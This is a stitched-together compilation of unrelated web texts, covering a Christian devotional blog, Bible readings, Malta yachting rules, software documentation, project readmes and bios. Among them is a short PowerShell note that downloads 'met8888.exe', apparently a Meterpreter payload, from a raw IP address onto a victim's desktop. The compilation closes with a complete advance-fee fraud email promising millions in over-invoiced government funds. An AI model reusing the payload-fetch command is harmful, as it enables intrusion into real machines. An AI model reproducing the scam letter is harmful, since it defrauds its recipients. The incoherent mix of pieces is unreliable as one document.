Weight Loss
Over the last year, people have asked me how I get the topic for each week’s “Something to Consider” blog. Many times when I go to God in prayer for something to write, He seems to impress certain messages to my heart and mind, and from that I get the weekly topic. As I continue to study that topic, the message that I believe He wants me to post seems to become clearer. Other times, He may impress topics from His Word as I’m reading the Bible and that will become the weekly post. People who know me know that I’m the furthest thing from a writer so if you have been even the slightest bit blessed or encouraged by STC then we can both thank God together. But this week’s topic is different. This topic God let me “live out,” in order for me to get the correct words and to stress the exact points that I feel He wants me to use. Although most of the previous articles have been born through experience, this one was created because of it. I know it sounds confusing so I’ll try to do my best to explain.
Over the past two weeks I have been busier than normal both at home and at work. I began a home improvement project that has been long overdue and finally found the time to start it about ten days ago. Now, I have the personality that once I start something, I dive right into it. I need to see it done as quickly and precisely as possible. There were a few days I worked over fourteen hours or until my back couldn’t take it any longer just to get it completed. Sadly, and here is the part that God lovingly made aware to me … I was doing all the important stuff around the house and at work but I didn’t have much time to spend alone with Him. I say this to my own shame but I spent hours dedicating myself to working and completing this project that my prayer time and my reading of the Bible went down to almost nothing. Sure, I read a chapter in the Gospels before I went to bed but honestly that was just to ease my conscious. The quality time spent with God was missing. And I felt it.
In the book of Hebrews, the writer gives us a warning regarding circumstances similar to the one I just explained. Times when simple things get in the way of the important time spent alone with God. Are these things innocent and well needed? Yes, but even the simple routines of life, if we are not careful, can become obstacles between us and God. Hebrews 12:1 (ESV) says, “Therefore, since we are surrounded by so great a cloud of witnesses, let us also lay aside EVERY WEIGHT, and sin which clings so closely, and let us run with endurance the race that is set before us,” As Christians, we must understand that sin is not the only thing that can separate us from God, it can also be our “weight.” Now the weight referred to in this verse isn’t physical, it’s more of the spiritual kind and somehow it can block, interfere, and in some extreme case, totally cut us off from our relationship with God. Notice these weights aren’t sin. They can be just the average cares of our daily lives. Scary enough, and I say this very carefully, their results, like sin, can be just as deadly.
So what are these weights that are referred to in the book of Hebrews? The Greek defines the word “weight” as a burden or something so cumbersome that it impedes the runner from running the race the way he should. Notice they are not sin or the writer wouldn’t have said to lay aside “every weight” AND “sin.” Obviously, they are something totally separate. No, these weights can be more subtle which allows them easier access into our lives. These weights can come in the form of hobbies, interests, work or even family obligations. They can be anything that occupies our time and draws our interests away from the things of God. And cleverly, Satan can use these things as bait to draw us away from routinely going to God on a daily basis causing a void and weakening our spirit. They can interfere on how we run our race.
For many of us, our jobs can be a weight. The desire to get ahead and improve is never a bad thing, and is something that we should all want to achieve.  If advancing involves minimizing the things of God and putting work in its place, that’s where the danger comes in. If you’re compromising your looks, actions or the way you conduct yourself just to advance or fit in, you can be carrying a heavy weight. Imagine how serious and deadly weights can be that a blessing like a job that you received from God can turn into a hindrance. Routinely working extra hours in place of spending time with other believers whether at church or privately is the first step to destruction. Never minimize the importance of spending alone time with God or other Christians. When you start to do that it’s the beginning of a very slippery slope. I say this in love because I know it firsthand.
An unchecked spirit towards current events, sports, the nightly news or even politics can be a weight. 24 hour coverage of the upcoming presidential election or all day of NFL football can become an obsession.  I’ve done “speed reading” through my Bible just to make sure I catch the Monday Night football game when sadly I spent hours the day before watching other games on TV. Now, obviously, there is nothing wrong with watching television so please excuse me if it sounds like I’m coming at this through the lenses of legalism. As Christians, Jesus gave us all the freedom we need to enjoy the very things He has given us. My point is, you can get so easily consumed by other things in place of the things of God and those things, although not sinful in itself, can become a weight in your life.
One of the biggest weights that I personally experienced is the “worries of life.” Jesus said to be very careful of these things. I stopped serving God for over twenty years not because I was caught up in some habitual sin but just from the cares of life. Wanting a better job, more money and a better place to raise my family. Noble things right? These were my weights. Jesus says in Mark 4:19 (NIV), “but the worries of this life, the deceitfulness of wealth and the desires for other things come in and choke the word…” Trying to better your life is not a negative thing. It’s when that desire draws you away from the things of God that it becomes a weight. In order for me to obtain these things, I stopped attending the weekly prayer meetings and moved to another state where going to church consistently became more difficult. Instead of drawing nearer to God, my weight pulled me further away. And once you go far enough the devil can really have his way with you. Again, sadly I know that first hand.
The Bible says in First Timothy, that God gives us everything for our enjoyment. Sports, hobbies and family are just to name a few. Whatever it is that gives you any sort of enjoyment comes from God Himself. Sadly the devil can even use these enjoyable things given to us by God to subtly pull us away from serving Him. That’s why we must always be on guard through His Spirit so these enjoyments don’t turn into a weight.
The Bible tells us to “lay aside” these weights so that we won’t eventually be bound and ruled by them. But how is that done? How do we allow ourselves to enjoy the things God has given us but yet be very careful we aren’t controlled by them? The answer is found in the following verse of Hebrews.  Just like a runner who stares straight at the finish line, that is the way our focus on Jesus should be. And through His power we are able to discern those things in our lives that can be self-consuming. Unfortunately, our flesh won’t allow us to regulate our own behavior. Guilt or taking a legalistic approach is never the answer either. Whenever we try to self-restrict ourselves from certain things, our flesh has a crazy desire to crave them even more. We need The Spirit’s power and wisdom to help us discern when we are being held down and eventually consumed by the weights in our lives.
Matthew 6:33 (NIV) says, “But seek first His kingdom and His righteousness, and ALL these things will be given to you as well.” God wants us, through His power, to make Him our first priority and through that all the enjoyments and pleasures He has for us will be given to us as well. The Spirit’s power will distribute all the joy, peace and fulfillment of the things in life that we love and desire.
Just Something to Consider.

welcome to my site. i'm glad you're here!
In 2020, I graduated from the the University of Wisconsin
where I studied Finance and Economics with minors in Computer Science
and Environmental Studies. I'm a Minnesota native and recently moved to Chicago to work as a Healthcare
Investment
Banking Analyst.
I have countless interests, mostly unrelated; currently, I'm fascinated by consumer healthcare
technology. I'm an avid outdoorsman with a love for hiking, skiing, biking, camping, and enjoying nature
with others.

I love getting to know people, their stories and perspectives, so please email me.
this is a now page. i use
this to motivate
myself and show you what i'm currently focused on.
i was inspired by others.
I recently moved to the great city of Chicago. I'm exploring and would love recommendations.
If you haven't heard already, I've got a podcast! The Wally Pod features inspiring interview with some of my extraordinary friends. The focus is on young people and the ways they have nagivated college, begun their careers, and view the world. My hope is to help and inspire others in their own endeavors. The Wally Pod can be found wherever you listen to podcasts.
I've currently taking Sam Harris's Waking Up 30-day course. My thoughts will follow my completion.
One of the most important things that I've learned in recent years is the power of reflection. In a world with so much content to consume, most of it goes in one ear and out the other. The most powerful technique I've found to retain important information is deliberate reflection. That is why I'll be spending time every week for the foreseeable future reflecting on and condensing the notes I've taken on the books I read during college. I hope to keep a permanent database of my notes on this site for myself and anyone who cares to read.
updated september 13th, 2020 from chicago, il.
this is only the beginning.


This site provides an overview of the Fresnel display vocabulary being developed by participants of the Semantic Web Interest Group. Fresnel is a simple, browser-independent vocabulary for specifying how RDF graphs are presented.
Presenting Semantic Web content in a human-readable way consists in addressing two issues: specifying what information contained in an RDF graph should be presented and how this information should be presented. Each RDF browser or visualization tool currently relies on its own ad hoc mechanisms and vocabularies for addressing these issues, making it impossible to share RDF presentation knowledge across applications. Recognizing the general need for displaying RDF content and wanting to avoid reinventing the wheel with each new tool, we developed Fresnel as a browser-independent vocabulary of core RDF display concepts applicable across different representation paradigms and output formats.
Fresnel's two foundational concepts are lenses and formats. Lenses define which properties of an RDF resource, or group of related resources, are displayed and how those properties are ordered. Formats determine how resources and properties are rendered and provide hooks to existing styling languages such as CSS.
Like CSS, Fresnel is designed as a purely declarative language. The Fresnel vocabulary is split into modules for allowing browsers to support limited but well-defined subsets of the language.
Fresnel is licensed under the terms of the World Wide Web Consortium (W3C) license.
Fresnel documentation:
The Fresnel vocabulary is split into four modules defined by:
There are also informative versions of the vocabularies using N3 syntax: core.owl.n3, extended.owl.n3.
The extended vocabularies require additional datatypes as defined in fresnel-datatypes.xsd.
For a brief, informative introduction to Fresnel, see the presentation given in July 2006.
Fresnel is being implemented by the following RDF browsers:
Low-level Fresnel APIs for implementing Fresnel-aware applications are also available:
Fresnel is open for everybody to participate and contribute. The primary discussion forum for Fresnel is the Fresnel mailing list (archives). You can contribute to Fresnel by

praise of his glorious grace which he freely bestowed on us in the Beloved. For
this reason, because I have heard of your faith in the Lord Jesus and your love
toward all the saints, I do not cease to give thanks for you, remembering you
in my prayers, that the God of our Lord Jesus Christ, the Father of glory, may
give you a spirit of wisdom and of revelation in the knowledge of him, having

John 1:1-18 A reading from the holy Gospel according to John In the beginning was the Word, and the Word was
with God, and the Word was God. He was in the beginning with God; all things
were made through him, and without him was not anything made that was made. In
him was life, and the life was the light of men. The light shines in the
darkness, and the darkness has not overcome it. There was a man sent from God,
whose name was John. He came for testimony, to bear witness to the light, that
all might believe through him. He was not the light, but came to bear witness
to the light. The true light that enlightens every man was coming into the
world. He was in the world, and the world was made through him, yet the world
knew him not. He came to his own home, and his own people received him not. But
to all who received him, who believed in his name, he gave power to become
children of God; who were born, not of blood nor of the will of
the flesh nor of the will of man, but of God. And the Word became flesh
and dwelt among us, full of grace and truth; we have beheld his glory, glory as
of the only Son from the Father. (John bore witness to him, and cried,
"This was he of whom I said, 'He who comes after me ranks before me, for
he was before me.'") And from his fullness have we all received, grace
upon grace. For the law was given through Moses; grace and truth came through
Jesus Christ. No one has ever seen God; the only Son, who is in the bosom of
the Father, he has made him known. The Gospel of the Lord

Buhari signs Production Sharing Contract (PSC) Amendment Bill into law
by CSL StockbrokersIn a move by the government to secure its equitable share of the proceeds of oil production, President Muhammadu Buhari, through his official Twitter handle (@MBuhari) disclosed that he had signed the Deep Offshore and Inland Basin Production Sharing Contract (PSC) Amendment Bill into law.
Reportedly, Nigeria has lost about US$21 billion to the failure of the government to review the PSC as required by the Act. In our view, the amendment of the PSC Bill reinforces the efforts of the fiscal authority in exploring more sources of revenue to fund its spending plans.
In the amended PSC bill, two more revenue streams were added to the 1993 Deep Offshore and Inland Basin PSC. Firstly, there is a flat 10% royalty on all projects over 200 meters deep and the other is a 7.5% royalty on frontier and inland basins. Under the previous fiscal regime, offshore projects of between 200 meters to 400 meters deep paid 12% of the project costs in royalties.
Projects between 401 meters to 800 meters deep paid 8%, while those from 801 meters to 1 000 meters paid 4%. Deep offshore projects above 1 000 meters deep did not pay any royalties.
The 2019 amended PSC bill, which has now become law, prescribes a flat rate of 10% across board. The revised Act also introduces a price-based royalty payment system, which would add between 0% to 10%, depending on the prevailing oil price in the market. In other words, oil firms executing deep offshore projects in Nigeria will be paying varying percentages based on the prevailing price of a barrel of oil at the time. Notably, it is only when oil sells for $20 and below that the new royalty will seize to apply.
[READ MORE: Nigeria’s business environment; Survival of the fittest]
Also, Section 16 of the repealed bill provided for a review of the PSC’s (the first of which was signed in 1993) after 15 years and subsequently every five years. The re-adjustment window was increased to eight years, albeit there was no clarity as to whether this clause will apply to new projects like the Total-operated Egina field, the Shell and Eni-operated Etan/Zaba Zaba field and the Bonga South-West block, which Shell is yet to take a final investment decision on.
The signing of the amended bill has generated mixed reactions across the country, with some stakeholders holding the opinion that the new levies will make deep offshore projects less profitable and result in lower investment. On the other hand, it is expected that Nigeria’s share of earnings from offshore oil wells will increase significantly, particularly in the periods when oil prices are rising. The government is hoping to raise around US$500 mn in 2020 and over US$1 bn in 2021, from new taxes levered into the fiscal terms of the contract. In our opinion, this will be of benefit for governments’ purse at a time when the fiscal authority is struggling with a brewing fiscal crisis.

(new-object System.Net.WebClient).DownloadFile('http://<IP_ADDRESS>/met8888.exe','C:\Users\jarrieta\Desktop\met8888.exe')
You can call this from a normal Windows command prompt as well
ie powershell -c "blah blah"
Newer versions of powershell have an alias
wget and curl
which calls Invoke-WebRequest

Yachts must not stop anywhere before a port of entry, or they risk being fined. Valletta Port Control must be contacted on VHF Channels 12 or 16 (24 hour watch) before entering the harbour.
Make every effort to arrive (and leave) during office hours so that clearance can be completed at the Immigration Police and Customs office, located at the root of the D pontoon at Msida Marina. You may experience difficulties getting your passport stamped at the Cruise Ship Terminal (which is the out of hours location for clearance).
During office hours, visitors are normally directed to the reception dock in Msida Marina. Outside office hours clearance is done in the commercial port, Grand Harbour. There is no provision for yachts here, and anchoring near the Customs office can be difficult. Yachtsmen are strongly advised to time their arrival to enable them to clear inward at Msida Marina.
It is not advisable to enter Marsamxett harbour at night.
Outward clearance is also obtained from the Customs and Immigration offices, Msida Creek. It is possible to clear out on any day provided the boat is leaving before 08:00 the following morning. Outside of office hours, go to the Customs House in Valletta. A receipt for the payment of berthing fees must be obtained first in order to clear out. Customs will require a crew list. It is possible to clear out on a Friday if leaving the following Sunday.
Duty-free stores can be obtained before departure - they will be loaded under the supervision of a Customs officer, and will be sealed until departure from Maltese waters. After loading duty-free goods, the yacht must leave within 24 hours.

All visitors should have a valid passport.
Malta is a member of the Schengen Agreement Area. See Noonsite' Schengen page for more details on the immigration rules.
Visas are obtainable from Maltese or British diplomatic missions abroad. Nationals from countries needing a visa may be granted one on arrival, especially if staying only a short time.
Immigration officials at the Cruise ship terminal do not (or even will not) stamp the passports of persons arriving by sea. If leaving by air, it is necessary to notify the port police, who will stamp passports.
It is advised that non-EU citizens go to the Immigration office at Msida Marina, Marsamxett Harbour to get their passports stamped.
Last updated January 2015.
Firearms will be taken into custody on arrival and returned prior to departure, or sealed on board if there is a suitable locker.
EU regulations apply concerning temporary importation. See EU VAT page for more information.

It is necessary to obtain a diving permit from the Department of Health if planning to scuba dive in Maltese waters. One needs a medical certificate, two photographs, a logbook and a certificate of qualification as an amateur diver. The permit must be shown if having diving tanks filled in Malta.
Clearance is a 24-hour service, but some government offices charge overtime after 1330 in summer and after 1700 in winter.
There are no restrictions on cruising around the archipelago, but Valletta Port Control must be kept informed on VHF Channel 12 of the movement of the yacht while away from the marina.
Spearfishing without a licence is strictly forbidden, and the penalty is a heavy fine. Diving is prohibited in some areas and these are listed on the permit. Any archaeological finds must be reported.
Yachts should note that the correct courtesy flag for Malta is the country flag (as depicted on all Noonsite Malta pages) and NOT the Maltese Merchant Ensign (white Maltese Cross on a red field bordered by white) which is only to be flown by Maltese-registered vessels.
Dogs and Cats entering and leaving Malta come under the European Regulations on non-commercial movement of pet animals (Pet Travel Scheme) and usual conditions requiring Passport, microchip, current Rabies Vacination and Health Certificate apply with no pets under 3 months being admitted.
Yachts with cats or dogs on board, may be allowed to berth alongside after the pets have been inspected by the Health Department Vet, providing that the pets conform to the Pet Passport Scheme. Download the pets leaflet for full current information on travelling with your pet.
However, yachts with uncertificated animals on board may not berth alongside at any time.

If you wish to combine multiple input files into a single output file, use the COMBINE command instead of the COPY command:
COMBINE *.ex1 filename.ex2 -[f[+]filename]
where *.ex1 are the input files to be combined (all in the same directory), filename.ex2 is the output file and .ex1 and .ex2 are standard extensions used to specify the file types. The parameter -[f[+]filename] is described below. The input files will be concatenated into one output file.
The syntax for this command is similar to that of the COPY command using wildcards, except that the output file specification does not contain a wildcard.
The files to be combined do not need to have identical variables and the variables do not need to be in the same order.
By default, the first file in alphabetical order becomes the "reference" file and the variables in this file and their characteristics determine the structure of the output file. The variables in succeeding files are then matched to the first file. If a file does not have a variable with a matching name or the type of the variable does not match, it will not be included in the output.
The switch '-f ' allows you to specify which file will be used as the reference file. For example, if you have file1, file2, and file3 as input and you want to use file3 instead of file1 as the reference, you would specify '-ffile3'. Note that you use the file name without the extension.
The file name itself may contain some information about the data in the file. For example, you might have input files with data for each state, with files named with the state name. In such cases, you may wish to have an additional variable created from the input file names and written to the output file. The parameter '-f+' tells Stat/Transfer to create a new variable from the input file names. This can be combined with the reference file specification. For example, ' -f+file3' tells Stat/Transfer to use file3 as the reference file and to create a new output variable from the input file names.
All of the options used with the COPY command can be used with the COMBINE command.


The manuscripts tab links to a list of all manuscript copies of the poem, which are listed in alphabetical order by manuscript sigil. Clicking on the name of a manuscript will open a transcription of that manuscript and also provide access to both a full description of the manuscript and color images of the portions of the manuscript containing The Siege of Jerusalem.
The Siege of Jerusalem Electronic Archive uses style sheets and color encoding conventions adapted from those created for the Piers Plowman Electronic Archive. The transcription of each manuscript may be consulted in four different views: Diplomatic, Critical, Scribal, and AllTags. These views may be selected from the drop menu at the top of each screen displaying a manuscript transcription. The default view when a new manuscript is selected is Diplomatic. The four views offer a variety of ways of encountering the text:
The Diplomatic style sheet suppresses all notes and indications of error or eccentric word division. Its text is otherwise identical to that presented in the Scribal style sheet. The goal of this style sheet is to represent as faithfully as possible the physical features of the manuscript and to minimize editorial intervention.
The Critical style sheet is designed to indicate the text as intended to appear after editorial intervention. Since the text displayed is a reconstructed, putative text, it lacks the color features that appear in the more nearly diplomatic transcriptions of the manuscript. Eccentric word divisions are silently (at least in the surface display) corrected in this style sheet; for example, abe appears as a be. The Critical view also adds links along the left edge of the text that lead to the archive’s Comparison feature. Clicking a link will lead to a list of all manuscript readings of that line organized alphabetically by sigil; clicking the back button on your browser will return you to the transcription.
The Scribal style sheet's presentation of the text represents as closely as possible both the readings and features of the manuscript text as well as the most information about editorial intervention. Resolved abbreviations and suspensions appear in italics. Color in this style sheet serves two functions: red and blue indicate colors of ink used by the scribe, while any other colors — aqua, gray, lime, olive, pink, purple, fuchsia and violet — mark editorial functions, as described below.
The AllTags style sheet, as its name implies, is intended to display the full content of markup in XML tags. The XML encoding itself may be viewed by clicking the “XML” button on the upper right hand side of the header for each transcription file.
Color encoding of text is used in conjunction with style sheets to indicate editorial interventions. The guide below provides a full explanation of the meaning of each color. Each transcription also features a color key along the top right edge of the header. Positioning your mouse above a color will activate a mouseover text box that offers a brief summary of the role of that color.
Red occurs in the Scribal, Diplomatic, and AllTags style sheets where the scribe used red ink. Black characters with a red shadow represent characters written in text ink and touched with a bit of red ink.
Blue in the Scribal, Diplomatic, and AllTags style sheets indicates textual elements written in blue ink.
Lime in the Scribal and AllTags style sheets indicates all matter appearing inside the XML tag
Olive in the AllTags style sheet indicates a regularized reading (contents of a
Violet in the Scribal and AllTags style sheets distinguishes readings believed to reflect scribal error (the contents of
Purple appears only in the AllTags style sheet, where it marks the contents of a
Gray in the Scribal and AllTags style sheets represents supralinear, inline, and marginal additions to the text (this does not include marginalia that are not part of the poem itself). Placing your mouse above the word or characters in gray will produce a mouseover box that indicates where the addition is found on the manuscript page as well as the hand responsible for it. “Hand1” indicates the main scribal hand, and “Handx” indicates an unknown hand other than the main scribe.
Aqua in the AllTags style sheet represents text that has been damaged but is still legible.
Fuchsia in the AllTags style sheet represents text that is unclear for any reason.
Marginal additions that are not part of the poem itself are encoded in <marginalia> tags. The contents of these tags appear in all views other than Critical. Positioning your mouse over the text of marginalia produces a mouseover box that indicates where on the page the marginalia is positioned as well as the hand responsible for the marginal addition. When the marginalia is by an unknown hand, which is usually the case, the hand is identified as “Handx.”
A color image of each folio appears in the right margin alongside the transcription of the text from that folio. Clicking the thumbnail image will launch a Zoomify image viewer window that allows you to zoom and pan. Clicking on the image within the window zooms in. Additional navigation buttons are available at the bottom of the image viewer. To exit the image viewer and return to the transcription, click the X on the lower right of the window. If you wish to view the image in its own window, a link is provided at the bottom of the screen to do so.
The search tab leads to an interface that facilitates searching of all materials within the archive. Clicking the special characters beneath the
search box will populate the box with those letters that generally are not available on your keyboard (e.g., thorn and yogh). There are two drop menus that
offer faceted searching. The first allows you to search all materials in the archive, transcriptions of the poem only, descriptions of the manuscripts only,
or annotations to transcriptions only (i.e., the contents of
The search function is built on Solr and utilizes that platform’s standard advanced search commands. A guide to these is included on the right side of the search interface.
The comparison tab facilitates the side-by-side comparison of all manuscript versions of a particular line of text. Texts are listed in alphabetical order by sigil. Each line of text is encoded with two line numbers: the first is the logical line number of the line within a given manuscript, and the second is the corresponding number in the Hanna-Lawton critical edition of the poem (Early English Text Society, o.s. 320, 2003) . As described above, this search feature is also dynamically linked to the Critical view of transcriptions under the Manuscripts tag. If you wish to begin with a Hanna-Lawton line number and see all relevant manuscript witnesses, you may do so by entering the HL line number in the search box at top of the Comparison screen. You may navigate through lines in order by utilizing the “Previous line” and “Next line” buttons.

I. Research & Engineering Projects
Dec 2012 - Mar 2013
BUAA, Key Laboratory of Beijing Network Technology
Project Description: The project mainly researched on the connectivity problem between virtual cloud platforms like VMware vSphere, Xen and virtual device simulation tools like GNS3, inlcuding designing the tunnel protocol and routing algorithm for data packets between virtual network and physical network. We implement a prototype system based on principles of VPN and NAT.
Responsibility: I focus on the design work of protocol encapsulation and routing algorithm, the rule deployment scheme of virtualized network configuration and implementaion of routing driver in Windows written by NDIS programing.
Introduction: VisualVNC stands for VISUAL Virtual Network Connection system. Its functionality is to map the real machines into the virtual hosts in GNS3 or eNSP. GNS3 and eNSP are softwares that can simulate various devices such as routers, firewalls and switches which construct a virtual network. VisualVNC is composed of two parts, an application-level MFC controller side and an NDIS intermediate driver. All machines installing VisualVNC are divided into two categories: Center Machine and Margin Machine. Center Machine is the machine which runs GNS3 or eNSP. Margin Machine is the machine which is mapped to the node in the virtual network. The controller parses a rule file to decide which role the machine plays and sends instructions to the NDIS driver. The driver encapsulates and forwards the packets received or sent by the machine. We developed a protocol named VEP to encapsulate the orginal ethernet frame and sent the VEP packet through the real network. At the other side the packet is decapsulated and received by the machine.
Languages used by VisualVNC are:
C/C++
Techniques used by VisualVNC are:
MFC for UI
BCGControlBar for UI
Winsock API for communications between Center Machine and Margin Machine
IPHelper API for network adapter information retrieval
Languages used by VNCPassthru are:
C
Techniques used by VNCPassthru are:
WDM Framework
NDIS Framework
Passthru example
Usage:
1) Install VisualVNC in at least two machines, one for Center Machine and at least one for Margin Machine.
2) Edit the file "Rules.txt" in the "data" directory of each VisualVNC copy. CIP means Center IP, set the outgoing IP of Center Machine to it. VIP means the IP of Margin Machine in the virtualized network, you modify it according to your virtualized network design. PIP means the IP of Margin Machine in the phisical network, set the outgoing IP of Margin Machine to it. IMAC means the internal adapters of Center Machine binded with GNS3 or eNSP. You bind a IMAC adapter with a Margin Machine, so according to your bindings, you will know which one is the corresponding IMAC adapter. NIP means the ignored IP address, VisualVNC will not redirect a packet with the NIP.
3) Copy VisualVNC.exe from the "Debug" directory to the "dlls" directory, then execute it.
4) For Center Machine: Click the "Load Driver" button, the VNCPassthru driver will be loaded, you can check alive using the "Check Driver" button. Button "Read Rules" can display the content of "Rule.txt", which dosen't matter much. You must configure your IP to CIP in advance, and use "Confirm Status" to confirm your Center Machine state by watching the "Run Status" edit box. Then clicking "Write Rules and Start Driver" will write rules to VNCPassthru driver and start forwarding. you can view the debug information by using WinDbg. Detailed information for each packet is displayed. To stop the VisualVNC function, you first click "Stop Driver and Clear Rules", then click "Unload Driver", this will help you undo all previous steps.
5) For Margin Machine: The operation difference with Center Machine's is that you must configure your IP to PIP in advance, after clicking "Write Rules and Start Driver", VisualVNC will automatically help you change your IP from PIP to VIP. Clicking "Stop Driver and Clear Rules" will revert to its original state.
6) There're also some other tabs. Margin tab helps the Margin Machine manage its VIP and PIP, change MTU (because our protocol add 36 bytes to orginal packet, so the whole ethernet frame could have exceeds the link MTU, use the "Change MTU" button to change MTU to a smaller number automatically.) and retrieve information of adapters. Network tab can change IP and execute ARP query. Connection tab is a TCP function, I planed to distribute the "Rules.txt" file using this TCP function, but haven't finished yet. Debug tab is a test-case function, you can use it to send an arbitrary packet, using VEP protocol (our tunnel protocol) or not.

[gecode-users] tracing without programming?

Hi Christian,
> tracing does not trace search it traces propagation and is really not meant
> for instructional purposes.
sorry for not being clear enough,
"propagation" *is* a topic of my course.
(using parts of Chapter 7 of: Apt: Principles of C.P.)
> Have you tried Gist instead:
Thanks, I will. - What does it do, exactly:
it does run a full search (until next or all solutions),
then draws the tree?
I see that I can inspect a node, to see a domain assignment.
Is it also possible to "inspect an edge", that is,
to see why the domain assignment changed
when going from a node to its child?
- J.

Developer
I am a Full Stack Developer. Prior to this I worked at a small security company in client service for four years. My goal in the company was to make sure our clients felt safe and provided for. I consulted them on their itinerary and what add-ons they would need on top of their service. I then managed all the logistics including: organizing with the security team, collecting payment, and collecting data on their experience with the service.
Because of my forays into mechanical engineering and love of robotics I worked on a side project tinkering with drones for the company that re-ignited my interest in programming which inspired me to enter Flatiron School. An experience which nurtured that interest into love.
Now as a Full Stack Developer I’m curious to see what puzzles the tech world holds for me, and excited to solve them.

The Salty Octopus Crew
<EMAIL_ADDRESS>octarina.netlify.app
A core team of six students worked already over one year on their FH Salzburg University of Applied Sciences master project game called Octarina. You are playing the role of a cute octopus and you have to escape the sushi factory while solving physics-based 3D puzzles. Octarina is able to stick to the environment and to objects with each of its tentacles. With these abilities Octarina is able to climb up walls, push buttons and throw around objects. The control of the octopus is supposed to feel a bit wonky, but not out of control, like "I am Bread" or "Octodad".
You'll have to find a way to escape your current situation. Octarina has the ability to stick to its environment and objects. You explore the factory and try to open up new ways. To do that you climb up walls, push buttons and throw around various things to work your way through the factory to escape. There are many dangers but also secrets in the level which will challenge your finesse.
Additionally to its main storyline, Octarina contains two other challenging game modes so far. Firstly, in the “Checkpoint Race” gamemode the octopus has to navigate through the factory and reach different checkpoints within a certain timeframe. The second gamemode is “The Floor is Lava". Obviously you are not allowed to touch or fall into the hot lava. There is a specific way through the level. Try to be the fastest.
Octarina uses a simplistic set of pastel colors (mainly blue and pink variants) in combination with a smooth shading and character outline. It radiates a cute and friendly vibe. The control of the octopus is supposed to feel a bit wonky, but not out of control, like "I am Bread" or "Octodad".
The game character is a highly versatile ragdoll octopus which is able to stick to the environment and to objects with each of its tentacles. With these abilities Octarina is able to throw around objects and travers the levels in a completely new way. Therefore, the levels are designed to feature high interactability and a lot of destructible objects. Further, puzzles are designed to be solved in many different ways and feature hidden secrets to encourage you to replay the levels. The game was made using Unreal Engine 4.
With a Beta Key you already can give the prototype a try on Steam. Put it on your steam wishlist today and get the full cutsie octopus experience at the release in summer 2021. You also can see the end result at upcoming showcases: Werkschau FH Salzburg, Indie Live Expo and Steam Festival.
The game is the master project produced by a quite big core team of six students. Overall they worked over one and a half years on their master project. All of them are master students from FH Salzburg University of Applied Sciences. The manager and product owner of the game is Christopher Pöschl. The involved programmers are Katrin Mair, Martin Wolf, Slavko Ivanovic and Nadine Bartosch. Together with the artist Dhana Panzer they created the cutest octopus game, Octarina. They also received support from the graphic designer Nina Lenz with the logo design. The crisp sound design is made by the audio designer Simon Moisburger and the beautiful main theme is by the musician Kerstin Grosche. Denise Buder created the website. A gameplay trailer was made by Philip Toigo, And Melanie Bartl supported the project with 3D art.

Data Contract
An Event Processing Application can send an Event to another Event Processing Application. It's essential that the communicating applications can understand how to process these shared Events.
Problem
How can an application send an Event such that a receiving application will know how to process it?
Solution
Using a Data Contract or Schema, different Event Processing Applications can share Events and understand how to process them without either the sender or receiver to know any details of the other. The Data Contract pattern allows these different applications to cooperate while remaining loosely coupled, and thus insulated from any internal changes they may implement. By implementing a data contract or schema, you can provide the same record consistency guarantees as a RDMS which integrate a schema by default.
Implementation
By using a schema to model event objects, Kafka clients (e.g., a Kafka producer, a Kafka Streams application, the streaming database ksqlDB) can understand how to handle events from different applications using the same schema. For example, we can use Avro to describe a schema such as:
{
"type":"record",
"namespace": "io.confluent.developer.avro",
"name":"Purchase",
"fields": [
{"name": "item", "type":"string"},
{"name": "amount", "type": "double"},
{"name": "customer_id", "type": "string"}
]
}
Additionally, using a central repository like Schema Registry makes it easy for Kafka clients to leverage schemas.
Considerations
Rather than implementing custom support for a data contract or schemas, you should consider using an industry-accepted framework for schema support, such as the following:

Engr.Makalele Johnson. Pretoria South Africa. FOR YOUR KIND ATTENTION. It is my great pleasure to write you this letter on behalf of my colleagues. I got your information from a personal search in the internet business index. I have decided to seek a confidential co-operationwith you in execution of a deal hereunder for the benefit of all parties, and hopeyou will keep it confidential because of the nature of this business. Within the Ministry of Energy and Mineral Resources where I work as a Director of Project Implementation, and with co-operation of four other top officials, we have in our possession, an overdue payment in US funds. The said funds represent certain percentage of the contract value executed on behalf of my Ministry by a foreign contracting firm, which we the officials over-invoiced to the amount of US$25,500,000.00 (Twenty-Five Million Five Hundred Thousand United States Dollars). Though the actual contract cost has been paid to the original contractor, leaving the excess balance unclaimed. Since the present elected Government is determined to pay foreign contractors all debts owed, so as to maintain good relations with foreign governments and non-governmental financial agencies. As a result we included ours bills for approvals with the co-operation of some officials at the Department of Finance and the Reserve Bank of South Africa (RBSA). We are seeking your assistance as the beneficiary of the unclaimed funds, since we are not allowed to operate a foreign account. I have the authority of my colleagues involved to propose that, should you be willing to assist us in this transaction your share as compensation will be 25% while my colleagues and I receive 70%, and the balance of 5% for taxes and miscellaneous expenses incurred. It does not matter whether or not your company does contract projects of the nature described here. The assumption is that your company won the major contract and subcontracted it to other companies. More often than not, big trading companies and firms of unrelated fields wins major contracts and subcontract to more specialized firms for execution. I have reposed my confidence in you and hope that you will not disappoint me. Endeavor to contact me immediately through my e-mail address above,to indicate whether or not you are interested in this deal. If you are not, it will enable me scout for another foreign partner to carry out this deal.I want to assure you that my partners and myself are in a position to make the payment of this claim possible provided you can give us a very strong assurance and guarantee that our share will be secured.It is important that you treat this matter with utmost confidentiality as any form of exposure will negatively affect us since we are still in active Government Service. Also your area of specialization is not a hindrance to the successful execution of this transaction.I have reposed my confidence in you and hope that you will not disappoint us. Kindly notify me for further details, upon your acceptance of this proposal. Regards, Engr.Makalele Johnson ================================================== Single? Not for long.
